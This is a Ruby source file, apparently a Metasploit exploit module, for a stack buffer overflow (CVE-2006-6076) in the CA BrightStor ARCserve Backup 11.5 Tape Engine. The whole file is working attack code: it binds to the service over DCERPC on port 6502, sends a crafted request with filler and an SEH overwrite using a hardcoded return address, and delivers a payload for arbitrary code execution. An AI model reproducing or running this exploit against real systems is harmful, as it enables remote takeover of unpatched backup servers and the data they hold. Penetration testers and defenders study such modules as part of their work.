75 lines
1.8 KiB
Ruby
75 lines
1.8 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote
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include Exploit::Remote::DCERPC
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
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11.5. By sending a specially crafted DCERPC request, an attacker could overflow the
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buffer and execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3906 $',
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'References' =>
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[
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[ 'CVE', '2006-6076' ],
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[ 'BID', '21221' ],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
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],
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'DisclosureDate' => 'Nov 21 2006',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(6502) ], self.class)
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end
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def exploit
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connect
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handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
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request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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dcerpc.call(43, request)
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filler = "\x10\x09\xf9\x77" + rand_text_english(1132)
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh
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print_status("Trying target #{target.name}...")
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begin
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dcerpc_call(38, sploit)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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end
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